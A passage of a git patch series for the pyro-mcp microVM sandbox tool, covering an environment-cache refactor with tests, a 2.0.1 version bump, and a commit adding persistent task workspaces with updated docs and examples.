metadata_path.exists(): - kernel_image = install_dir / "vmlinux" - rootfs_image = install_dir / "rootfs.ext4" - if kernel_image.exists() and rootfs_image.exists(): - metadata = json.loads(metadata_path.read_text(encoding="utf-8")) - source = str(metadata.get("source", "cache")) - raw_digest = metadata.get("source_digest") - digest = raw_digest if isinstance(raw_digest, str) else None - return InstalledEnvironment( - name=spec.name, - version=spec.version, - install_dir=install_dir, - kernel_image=kernel_image, - rootfs_image=rootfs_image, - source=source, - source_digest=digest, - installed=True, - ) + installed = self._load_installed_environment(spec) + if installed is not None: + return installed source_dir = self._runtime_paths.artifacts_dir / spec.source_profile - if source_dir.exists(): + if _artifacts_ready(source_dir): return self._install_from_local_source(spec, source_dir) if ( spec.oci_registry is not None @@ -313,6 +300,10 @@ class EnvironmentStore: if spec.version != raw_version: shutil.rmtree(child, ignore_errors=True) deleted.append(child.name) + continue + if self._load_installed_environment(spec, install_dir=child) is None: + shutil.rmtree(child, ignore_errors=True) + deleted.append(child.name) return {"deleted_environment_dirs": sorted(deleted), "count": len(deleted)} def _install_dir(self, spec: VmEnvironment) -> Path: @@ -349,6 +340,33 @@ class EnvironmentStore: installed=True, ) + def _load_installed_environment( + self, spec: VmEnvironment, *, install_dir: Path | None = None + ) -> InstalledEnvironment | None: + resolved_install_dir = install_dir or self._install_dir(spec) + metadata_path = resolved_install_dir / "environment.json" + if not metadata_path.is_file() or not _artifacts_ready(resolved_install_dir): + return None + try: + metadata = json.loads(metadata_path.read_text(encoding="utf-8")) + except (OSError, json.JSONDecodeError): + return None + if not isinstance(metadata, dict): + return None + source = str(metadata.get("source", "cache")) + raw_digest = metadata.get("source_digest") + digest = raw_digest if isinstance(raw_digest, str) else None + return InstalledEnvironment( + name=spec.name, + version=spec.version, + install_dir=resolved_install_dir, + kernel_image=resolved_install_dir / "vmlinux", + rootfs_image=resolved_install_dir / "rootfs.ext4", + source=source, + source_digest=digest, + installed=True, + ) + def _install_from_archive(self, spec: VmEnvironment, archive_url: str) -> InstalledEnvironment: install_dir = self._install_dir(spec) temp_dir = Path(tempfile.mkdtemp(prefix=".partial-", dir=self._platform_dir)) diff --git a/tests/test_cli.py b/tests/test_cli.py index 4c2002c..69643d6 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -160,11 +160,21 @@ def test_cli_run_prints_human_output( capsys: pytest.CaptureFixture[str], ) -> None: class StubPyro: - def run_in_vm(self, **kwargs: Any) -> dict[str, Any]: + def create_vm(self, **kwargs: Any) -> dict[str, Any]: assert kwargs["vcpu_count"] == 1 assert kwargs["mem_mib"] == 1024 + return {"vm_id": "vm-123"} + + def start_vm(self, vm_id: str) -> dict[str, Any]: + assert vm_id == "vm-123" + return {"vm_id": vm_id, "state": "started"} + + def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: + assert vm_id == "vm-123" + assert command == "echo hi" + assert timeout_seconds == 30 return { - "environment": kwargs["environment"], + "environment": "debian:12", "execution_mode": "guest_vsock", "exit_code": 0, "duration_ms": 12, @@ -172,6 +182,10 @@ def test_cli_run_prints_human_output( "stderr": "", } + @property + def manager(self) -> Any: + raise AssertionError("manager cleanup should not be used on a successful run") + class StubParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( @@ -194,6 +208,9 @@ def test_cli_run_prints_human_output( captured = capsys.readouterr() assert captured.out == "hi\n" + assert "[run] phase=create environment=debian:12" in captured.err + assert "[run] phase=start vm_id=vm-123" in captured.err + assert "[run] phase=execute vm_id=vm-123" in captured.err assert "[run] environment=debian:12 execution_mode=guest_vsock exit_code=0" in captured.err @@ -202,8 +219,18 @@ def test_cli_run_exits_with_command_status( capsys: pytest.CaptureFixture[str], ) -> None: class StubPyro: - def run_in_vm(self, **kwargs: Any) -> dict[str, Any]: + def create_vm(self, **kwargs: Any) -> dict[str, Any]: del kwargs + return {"vm_id": "vm-456"} + + def start_vm(self, vm_id: str) -> dict[str, Any]: + assert vm_id == "vm-456" + return {"vm_id": vm_id, "state": "started"} + + def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: + assert vm_id == "vm-456" + assert command == "false" + assert timeout_seconds == 30 return { "environment": "debian:12", "execution_mode": "guest_vsock", @@ -213,6 +240,10 @@ def test_cli_run_exits_with_command_status( "stderr": "bad\n", } + @property + def manager(self) -> Any: + raise AssertionError("manager cleanup should not be used when exec_vm returns normally") + class StubParser: def parse_args(self) -> argparse.Namespace: return argparse.Namespace( @@ -238,6 +269,50 @@ def test_cli_run_exits_with_command_status( assert "bad\n" in captured.err +def test_cli_env_pull_prints_human_progress( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def pull_environment(self, environment: str) -> dict[str, Any]: + assert environment == "debian:12" + return { + "name": "debian:12", + "version": "1.0.0", + "distribution": "debian", + "distribution_version": "12", + "installed": True, + "cache_dir": "/tmp/cache", + "default_packages": ["bash", "git"], + "install_dir": "/tmp/cache/linux-x86_64/debian_12-1.0.0", + "install_manifest": "/tmp/cache/linux-x86_64/debian_12-1.0.0/environment.json", + "kernel_image": "/tmp/cache/linux-x86_64/debian_12-1.0.0/vmlinux", + "rootfs_image": "/tmp/cache/linux-x86_64/debian_12-1.0.0/rootfs.ext4", + "oci_registry": "registry-1.docker.io", + "oci_repository": "thalesmaciel/pyro-environment-debian-12", + "oci_reference": "1.0.0", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="env", + env_command="pull", + environment="debian:12", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + cli.main() + + captured = capsys.readouterr() + assert "[pull] phase=install environment=debian:12" in captured.err + assert "[pull] phase=ready environment=debian:12" in captured.err + assert "Pulled: debian:12" in captured.out + + def test_cli_requires_run_command() -> None: with pytest.raises(ValueError, match="command is required"): cli._require_command([]) diff --git a/tests/test_python_lifecycle_example.py b/tests/test_python_lifecycle_example.py new file mode 100644 index 0000000..8a54298 --- /dev/null +++ b/tests/test_python_lifecycle_example.py @@ -0,0 +1,53 @@ +from __future__ import annotations + +import importlib.util +from pathlib import Path +from types import ModuleType +from typing import Any, cast + +import pytest + + +def _load_python_lifecycle_module() -> ModuleType: + path = Path("examples/python_lifecycle.py") + spec = importlib.util.spec_from_file_location("python_lifecycle", path) + if spec is None or spec.loader is None: + raise AssertionError("failed to load python_lifecycle example") + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +def test_python_lifecycle_example_does_not_delete_after_exec( + capsys: pytest.CaptureFixture[str], +) -> None: + module = _load_python_lifecycle_module() + calls: list[str] = [] + + class StubPyro: + def create_vm(self, **kwargs: object) -> dict[str, object]: + assert kwargs["environment"] == "debian:12" + calls.append("create_vm") + return {"vm_id": "vm-123"} + + def start_vm(self, vm_id: str) -> dict[str, object]: + assert vm_id == "vm-123" + calls.append("start_vm") + return {"vm_id": vm_id, "state": "started"} + + def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, object]: + assert vm_id == "vm-123" + assert command == "git --version" + assert timeout_seconds == 30 + calls.append("exec_vm") + return {"vm_id": vm_id, "stdout": "git version 2.43.0\n"} + + def delete_vm(self, vm_id: str) -> dict[str, object]: + raise AssertionError(f"unexpected delete_vm({vm_id}) call") + + cast(Any, module).Pyro = StubPyro + module.main() + + assert calls == ["create_vm", "start_vm", "exec_vm"] + captured = capsys.readouterr() + assert "git version 2.43.0" in captured.out diff --git a/tests/test_runtime.py b/tests/test_runtime.py index 8956a99..930ef4f 100644 --- a/tests/test_runtime.py +++ b/tests/test_runtime.py @@ -14,7 +14,7 @@ def test_resolve_runtime_paths_default_bundle() -> None: assert paths.jailer_bin.exists() assert paths.guest_agent_path is not None assert paths.guest_agent_path.exists() - assert (paths.artifacts_dir / "debian-git" / "vmlinux").exists() + assert paths.artifacts_dir.exists() assert paths.manifest.get("platform") == "linux-x86_64" @@ -57,13 +57,6 @@ def test_resolve_runtime_paths_checksum_mismatch( guest_agent_path.read_text(encoding="utf-8"), encoding="utf-8", ) - for profile in ("debian-base", "debian-git", "debian-build"): - profile_dir = copied_platform / "profiles" / profile - profile_dir.mkdir(parents=True, exist_ok=True) - for filename in ("vmlinux", "rootfs.ext4"): - source_file = source.artifacts_dir / profile / filename - (profile_dir / filename).write_bytes(source_file.read_bytes()) - monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) with pytest.raises(RuntimeError, match="checksum mismatch"): resolve_runtime_paths() diff --git a/tests/test_vm_environments.py b/tests/test_vm_environments.py index a5cd6d9..c9ab1e6 100644 --- a/tests/test_vm_environments.py +++ b/tests/test_vm_environments.py @@ -68,6 +68,19 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: ) +def _write_local_profile( + runtime_paths: RuntimePaths, + profile_name: str, + *, + kernel: str = "kernel\n", + rootfs: str = "rootfs\n", +) -> None: + profile_dir = runtime_paths.artifacts_dir / profile_name + profile_dir.mkdir(parents=True, exist_ok=True) + (profile_dir / "vmlinux").write_text(kernel, encoding="utf-8") + (profile_dir / "rootfs.ext4").write_text(rootfs, encoding="utf-8") + + def _sha256_digest(payload: bytes) -> str: return f"sha256:{hashlib.sha256(payload).hexdigest()}" @@ -108,7 +121,9 @@ def test_get_environment_rejects_unknown() -> None: def test_environment_store_installs_from_local_runtime_source(tmp_path: Path) -> None: - store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") + runtime_paths = _fake_runtime_paths(tmp_path) + _write_local_profile(runtime_paths, "debian-git") + store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") installed = store.ensure_installed("debian:12") assert installed.kernel_image.exists() @@ -117,7 +132,9 @@ def test_environment_store_installs_from_local_runtime_source(tmp_path: Path) -> def test_environment_store_pull_and_cached_inspect(tmp_path: Path) -> None: - store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") + runtime_paths = _fake_runtime_paths(tmp_path) + _write_local_profile(runtime_paths, "debian-git") + store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") before = store.inspect_environment("debian:12") assert before["installed"] is False @@ -145,7 +162,7 @@ def test_environment_store_uses_env_override_for_default_cache_dir( def test_environment_store_installs_from_archive_when_runtime_source_missing( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: - runtime_paths = resolve_runtime_paths() + runtime_paths = _fake_runtime_paths(tmp_path) source_environment = get_environment("debian:12-base", runtime_paths=runtime_paths) archive_dir = tmp_path / "archive" @@ -157,30 +174,6 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( archive.add(archive_dir / "vmlinux", arcname="vmlinux") archive.add(archive_dir / "rootfs.ext4", arcname="rootfs.ext4") - missing_bundle = tmp_path / "bundle" - platform_root = missing_bundle / "linux-x86_64" - platform_root.mkdir(parents=True, exist_ok=True) - (missing_bundle / "NOTICE").write_text( - runtime_paths.notice_path.read_text(encoding="utf-8"), - encoding="utf-8", - ) - (platform_root / "manifest.json").write_text( - runtime_paths.manifest_path.read_text(encoding="utf-8"), - encoding="utf-8", - ) - (platform_root / "bin").mkdir(parents=True, exist_ok=True) - (platform_root / "bin" / "firecracker").write_bytes(runtime_paths.firecracker_bin.read_bytes()) - (platform_root / "bin" / "jailer").write_bytes(runtime_paths.jailer_bin.read_bytes()) - guest_agent_path = runtime_paths.guest_agent_path - if guest_agent_path is None: - raise AssertionError("expected guest agent path") - (platform_root / "guest").mkdir(parents=True, exist_ok=True) - (platform_root / "guest" / "pyro_guest_agent.py").write_text( - guest_agent_path.read_text(encoding="utf-8"), - encoding="utf-8", - ) - - monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(missing_bundle)) monkeypatch.setattr( "pyro_mcp.vm_environments.CATALOG", { @@ -200,7 +193,7 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( }, ) store = EnvironmentStore( - runtime_paths=resolve_runtime_paths(verify_checksums=False), + runtime_paths=runtime_paths, cache_dir=tmp_path / "cache", ) installed = store.ensure_installed("debian:12-base") @@ -209,6 +202,91 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( assert installed.rootfs_image.read_text(encoding="utf-8") == "rootfs\n" +def test_environment_store_skips_empty_local_source_dir_and_uses_archive( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + runtime_paths = _fake_runtime_paths(tmp_path) + source_environment = get_environment("debian:12-base", runtime_paths=runtime_paths) + (runtime_paths.artifacts_dir / source_environment.source_profile).mkdir( + parents=True, + exist_ok=True, + ) + + archive_dir = tmp_path / "archive" + archive_dir.mkdir(parents=True, exist_ok=True) + (archive_dir / "vmlinux").write_text("kernel\n", encoding="utf-8") + (archive_dir / "rootfs.ext4").write_text("rootfs\n", encoding="utf-8") + archive_path = tmp_path / "environment.tgz" + with tarfile.open(archive_path, "w:gz") as archive: + archive.add(archive_dir / "vmlinux", arcname="vmlinux") + archive.add(archive_dir / "rootfs.ext4", arcname="rootfs.ext4") + + monkeypatch.setattr( + "pyro_mcp.vm_environments.CATALOG", + { + "debian:12-base": source_environment.__class__( + name=source_environment.name, + version=source_environment.version, + description=source_environment.description, + default_packages=source_environment.default_packages, + distribution=source_environment.distribution, + distribution_version=source_environment.distribution_version, + source_profile=source_environment.source_profile, + platform=source_environment.platform, + source_url=archive_path.resolve().as_uri(), + source_digest=source_environment.source_digest, + compatibility=source_environment.compatibility, + ) + }, + ) + store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") + + installed = store.ensure_installed("debian:12-base") + + assert installed.kernel_image.read_text(encoding="utf-8") == "kernel\n" + assert installed.rootfs_image.read_text(encoding="utf-8") == "rootfs\n" + + +def test_environment_store_marks_broken_symlink_install_uninstalled_and_repairs_it( + tmp_path: Path, +) -> None: + runtime_paths = _fake_runtime_paths(tmp_path) + _write_local_profile( + runtime_paths, + "debian-git", + kernel="kernel-fixed\n", + rootfs="rootfs-fixed\n", + ) + store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") + spec = get_environment("debian:12", runtime_paths=runtime_paths) + install_dir = store.cache_dir / "linux-x86_64" / "debian_12-1.0.0" + install_dir.mkdir(parents=True, exist_ok=True) + (install_dir / "environment.json").write_text( + json.dumps( + { + "catalog_version": "2.0.0", + "name": spec.name, + "version": spec.version, + "source": "bundled-runtime-source", + "source_digest": spec.source_digest, + "installed_at": 0, + } + ), + encoding="utf-8", + ) + (install_dir / "vmlinux").symlink_to("missing-vmlinux") + (install_dir / "rootfs.ext4").symlink_to("missing-rootfs.ext4") + + inspected_before = store.inspect_environment("debian:12") + assert inspected_before["installed"] is False + + pulled = store.pull_environment("debian:12") + + assert pulled["installed"] is True + assert Path(str(pulled["kernel_image"])).read_text(encoding="utf-8") == "kernel-fixed\n" + assert Path(str(pulled["rootfs_image"])).read_text(encoding="utf-8") == "rootfs-fixed\n" + + def test_environment_store_prunes_stale_entries(tmp_path: Path) -> None: store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") platform_dir = store.cache_dir / "linux-x86_64" diff --git a/uv.lock b/uv.lock index b0df50c..754b94e 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.0.0" +version = "2.0.1" source = { editable = "." } dependencies = [ { name = "mcp" }, From 58df1761489970ece891c1041de9571501bbad9c Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Wed, 11 Mar 2026 20:10:10 -0300 Subject: [PATCH 10/49] Add persistent task workspace alpha Start the first workspace milestone toward the task-oriented product without changing the existing one-shot vm_run/pyro run contract. Add a disk-backed task registry in the manager, auto-started task workspaces rooted at /workspace, repeated non-cleaning exec, and persisted command journals exposed through task create/exec/status/logs/delete across the CLI, Python SDK, and MCP server. Update the public contract, docs, examples, and version/catalog metadata for 2.1.0, and cover the new surface with manager, CLI, SDK, and MCP tests. Validation: UV_CACHE_DIR=.uv-cache make check and UV_CACHE_DIR=.uv-cache make dist-check. --- CHANGELOG.md | 10 + README.md | 52 ++- docs/first-run.md | 23 +- docs/install.md | 18 +- docs/integrations.md | 13 +- docs/public-contract.md | 32 ++ examples/python_task.py | 21 ++ pyproject.toml | 2 +- src/pyro_mcp/api.py | 80 ++++ src/pyro_mcp/cli.py | 277 +++++++++++++- src/pyro_mcp/contract.py | 13 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 625 ++++++++++++++++++++++++++++++-- tests/test_api.py | 23 ++ tests/test_cli.py | 245 +++++++++++++ tests/test_public_contract.py | 5 + tests/test_server.py | 49 +++ tests/test_vm_manager.py | 286 ++++++++++++++- uv.lock | 2 +- 19 files changed, 1730 insertions(+), 48 deletions(-) create mode 100644 examples/python_task.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 6cfcb11..217b6e6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.1.0 + +- Added the first persistent task workspace alpha across the CLI, Python SDK, and MCP server. +- Shipped `task create`, `task exec`, `task status`, `task logs`, and `task delete` as an additive + surface alongside the existing one-shot VM contract. +- Made task workspaces persistent across separate CLI/SDK/MCP processes by storing task records on + disk under the runtime base directory. +- Added per-task command journaling so repeated workspace commands can be inspected through + `pyro task logs` or the matching SDK/MCP methods. + ## 2.0.1 - Fixed the default `pyro env pull` path so empty local profile directories no longer produce diff --git a/README.md b/README.md index 11f1e58..b4ba65e 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # pyro-mcp -`pyro-mcp` runs commands inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. +`pyro-mcp` runs one-shot commands and repeated task workspaces inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. [![PyPI version](https://img.shields.io/pypi/v/pyro-mcp.svg)](https://pypi.org/project/pyro-mcp/) @@ -18,7 +18,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.0.1: [CHANGELOG.md#201](CHANGELOG.md#201) +- What's new in 2.1.0: [CHANGELOG.md#210](CHANGELOG.md#210) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -55,7 +55,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.0.0 +Catalog version: 2.1.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -74,6 +74,7 @@ access to `registry-1.docker.io`, and needs local cache space for the guest imag After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` +- create a persistent workspace with `uvx --from pyro-mcp pyro task create debian:12` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Supported Hosts @@ -127,7 +128,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.0.0 +Catalog version: 2.1.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -191,11 +192,27 @@ When you are done evaluating and want to remove stale cached environments, run ` If you prefer a fuller copy-pasteable transcript, see [docs/first-run.md](docs/first-run.md). The walkthrough GIF above was rendered from [docs/assets/first-run.tape](docs/assets/first-run.tape) using [scripts/render_tape.sh](scripts/render_tape.sh). +## Persistent Tasks + +Use `pyro run` for one-shot commands. Use `pyro task ...` when you need repeated commands in one +workspace without recreating the sandbox every time. + +```bash +pyro task create debian:12 +pyro task exec TASK_ID -- sh -lc 'printf "hello from task\n" > note.txt' +pyro task exec TASK_ID -- cat note.txt +pyro task logs TASK_ID +pyro task delete TASK_ID +``` + +Task workspaces start in `/workspace` and keep command history until you delete them. For machine +consumption, add `--json` and read the returned `task_id`. + ## Public Interfaces The public user-facing interface is `pyro` and `Pyro`. After the CLI validation path works, you can choose one of three surfaces: -- `pyro` for direct CLI usage +- `pyro` for direct CLI usage, including one-shot `run` and persistent `task` workflows - `from pyro_mcp import Pyro` for Python orchestration - `pyro mcp serve` for MCP clients @@ -325,6 +342,22 @@ print(pyro.list_environments()) print(pyro.inspect_environment("debian:12")) ``` +For repeated commands in one workspace: + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +task = pyro.create_task(environment="debian:12") +task_id = task["task_id"] +try: + pyro.exec_task(task_id, command="printf 'hello from task\\n' > note.txt") + result = pyro.exec_task(task_id, command="cat note.txt") + print(result["stdout"], end="") +finally: + pyro.delete_task(task_id) +``` + ## MCP Tools Primary agent-facing tool: @@ -343,10 +376,19 @@ Advanced lifecycle tools: - `vm_network_info(vm_id)` - `vm_reap_expired()` +Persistent workspace tools: + +- `task_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false)` +- `task_exec(task_id, command, timeout_seconds=30)` +- `task_status(task_id)` +- `task_logs(task_id)` +- `task_delete(task_id)` + ## Integration Examples - Python one-shot SDK example: [examples/python_run.py](examples/python_run.py) - Python lifecycle example: [examples/python_lifecycle.py](examples/python_lifecycle.py) +- Python task workspace example: [examples/python_task.py](examples/python_task.py) - MCP client config example: [examples/mcp_client_config.md](examples/mcp_client_config.md) - Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json) - Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json) diff --git a/docs/first-run.md b/docs/first-run.md index f76167d..5b699bf 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.0.0 +Catalog version: 2.1.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -70,11 +70,32 @@ deterministic structured result. ```bash $ uvx --from pyro-mcp pyro demo +$ uvx --from pyro-mcp pyro task create debian:12 $ uvx --from pyro-mcp pyro mcp serve ``` `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end to end. +When you need repeated commands in one sandbox, switch to `pyro task ...`: + +```bash +$ uvx --from pyro-mcp pyro task create debian:12 +Task: ... +Environment: debian:12 +State: started +Workspace: /workspace +Execution mode: guest_vsock +Resources: 1 vCPU / 1024 MiB +Command count: 0 + +$ uvx --from pyro-mcp pyro task exec TASK_ID -- sh -lc 'printf "hello from task\n" > note.txt' +[task-exec] task_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... + +$ uvx --from pyro-mcp pyro task exec TASK_ID -- cat note.txt +hello from task +[task-exec] task_id=... sequence=2 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... +``` + Example output: ```json diff --git a/docs/install.md b/docs/install.md index 977fc56..6332804 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.0.0 +Catalog version: 2.1.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -174,10 +174,26 @@ pyro run debian:12 -- git --version After the CLI path works, you can move on to: +- persistent workspaces: `pyro task create debian:12` - MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` +## Persistent Task Workspace + +Use `pyro task ...` when you need repeated commands in one sandbox instead of one-shot `pyro run`. + +```bash +pyro task create debian:12 +pyro task exec TASK_ID -- sh -lc 'printf "hello from task\n" > note.txt' +pyro task exec TASK_ID -- cat note.txt +pyro task logs TASK_ID +pyro task delete TASK_ID +``` + +Task commands default to the persistent `/workspace` directory inside the guest. If you need the +task identifier programmatically, use `--json` and read the `task_id` field. + ## Contributor Clone ```bash diff --git a/docs/integrations.md b/docs/integrations.md index 5501508..242907c 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -7,7 +7,7 @@ CLI path in [install.md](install.md) or [first-run.md](first-run.md). ## Recommended Default -Use `vm_run` first. +Use `vm_run` first for one-shot commands. That keeps the model-facing contract small: @@ -16,7 +16,8 @@ That keeps the model-facing contract small: - one ephemeral VM - automatic cleanup -Only move to lifecycle tools when the agent truly needs VM state across multiple calls. +Move to `task_*` only when the agent truly needs repeated commands in one workspace across +multiple calls. ## OpenAI Responses API @@ -29,6 +30,7 @@ Best when: Recommended surface: - `vm_run` +- `task_create` + `task_exec` when the agent needs persistent workspace state Canonical example: @@ -63,17 +65,20 @@ Best when: Recommended default: - `Pyro.run_in_vm(...)` +- `Pyro.create_task(...)` + `Pyro.exec_task(...)` when repeated workspace commands are required Lifecycle note: - `Pyro.exec_vm(...)` runs one command and auto-cleans the VM afterward - use `create_vm(...)` + `start_vm(...)` only when you need pre-exec inspection or status before that final exec +- use `create_task(...)` when the agent needs repeated commands in one persistent `/workspace` Examples: - [examples/python_run.py](../examples/python_run.py) - [examples/python_lifecycle.py](../examples/python_lifecycle.py) +- [examples/python_task.py](../examples/python_task.py) ## Agent Framework Wrappers @@ -91,8 +96,8 @@ Best when: Recommended pattern: - keep the framework wrapper thin -- map framework tool input directly onto `vm_run` -- avoid exposing lifecycle tools unless the framework truly needs them +- map one-shot framework tool input directly onto `vm_run` +- expose `task_*` only when the framework truly needs repeated commands in one workspace Concrete example: diff --git a/docs/public-contract.md b/docs/public-contract.md index b0150b1..3ecfe9b 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -19,6 +19,11 @@ Top-level commands: - `pyro env prune` - `pyro mcp serve` - `pyro run` +- `pyro task create` +- `pyro task exec` +- `pyro task status` +- `pyro task logs` +- `pyro task delete` - `pyro doctor` - `pyro demo` - `pyro demo ollama` @@ -40,6 +45,9 @@ Behavioral guarantees: - `pyro run` fails if guest boot or guest exec is unavailable unless `--allow-host-compat` is set. - `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`, `pyro env prune`, and `pyro doctor` are human-readable by default and return structured JSON with `--json`. - `pyro demo ollama` prints log lines plus a final summary line. +- `pyro task create` auto-starts a persistent workspace. +- `pyro task exec` runs in the persistent `/workspace` for that task and does not auto-clean. +- `pyro task logs` returns persisted command history for that task until `pyro task delete`. ## Python SDK Contract @@ -56,11 +64,16 @@ Supported public entrypoints: - `Pyro.inspect_environment(environment)` - `Pyro.prune_environments()` - `Pyro.create_vm(...)` +- `Pyro.create_task(...)` - `Pyro.start_vm(vm_id)` - `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)` +- `Pyro.exec_task(task_id, *, command, timeout_seconds=30)` - `Pyro.stop_vm(vm_id)` - `Pyro.delete_vm(vm_id)` +- `Pyro.delete_task(task_id)` - `Pyro.status_vm(vm_id)` +- `Pyro.status_task(task_id)` +- `Pyro.logs_task(task_id)` - `Pyro.network_info_vm(vm_id)` - `Pyro.reap_expired()` - `Pyro.run_in_vm(...)` @@ -73,11 +86,16 @@ Stable public method names: - `inspect_environment(environment)` - `prune_environments()` - `create_vm(...)` +- `create_task(...)` - `start_vm(vm_id)` - `exec_vm(vm_id, *, command, timeout_seconds=30)` +- `exec_task(task_id, *, command, timeout_seconds=30)` - `stop_vm(vm_id)` - `delete_vm(vm_id)` +- `delete_task(task_id)` - `status_vm(vm_id)` +- `status_task(task_id)` +- `logs_task(task_id)` - `network_info_vm(vm_id)` - `reap_expired()` - `run_in_vm(...)` @@ -85,8 +103,11 @@ Stable public method names: Behavioral defaults: - `Pyro.create_vm(...)` and `Pyro.run_in_vm(...)` default to `vcpu_count=1` and `mem_mib=1024`. +- `Pyro.create_task(...)` defaults to `vcpu_count=1` and `mem_mib=1024`. - `allow_host_compat` defaults to `False` on `create_vm(...)` and `run_in_vm(...)`. +- `allow_host_compat` defaults to `False` on `create_task(...)`. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. +- `Pyro.exec_task(...)` runs one command in the persistent task workspace and leaves the task alive. ## MCP Contract @@ -106,11 +127,22 @@ Advanced lifecycle tools: - `vm_network_info` - `vm_reap_expired` +Task workspace tools: + +- `task_create` +- `task_exec` +- `task_status` +- `task_logs` +- `task_delete` + Behavioral defaults: - `vm_run` and `vm_create` default to `vcpu_count=1` and `mem_mib=1024`. +- `task_create` defaults to `vcpu_count=1` and `mem_mib=1024`. - `vm_run` and `vm_create` expose `allow_host_compat`, which defaults to `false`. +- `task_create` exposes `allow_host_compat`, which defaults to `false`. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. +- `task_exec` runs one command in a persistent `/workspace` and leaves the task alive. ## Versioning Rule diff --git a/examples/python_task.py b/examples/python_task.py new file mode 100644 index 0000000..c1c7b98 --- /dev/null +++ b/examples/python_task.py @@ -0,0 +1,21 @@ +from __future__ import annotations + +from pyro_mcp import Pyro + + +def main() -> None: + pyro = Pyro() + created = pyro.create_task(environment="debian:12") + task_id = str(created["task_id"]) + try: + pyro.exec_task(task_id, command="printf 'hello from task\\n' > note.txt") + result = pyro.exec_task(task_id, command="cat note.txt") + print(result["stdout"], end="") + logs = pyro.logs_task(task_id) + 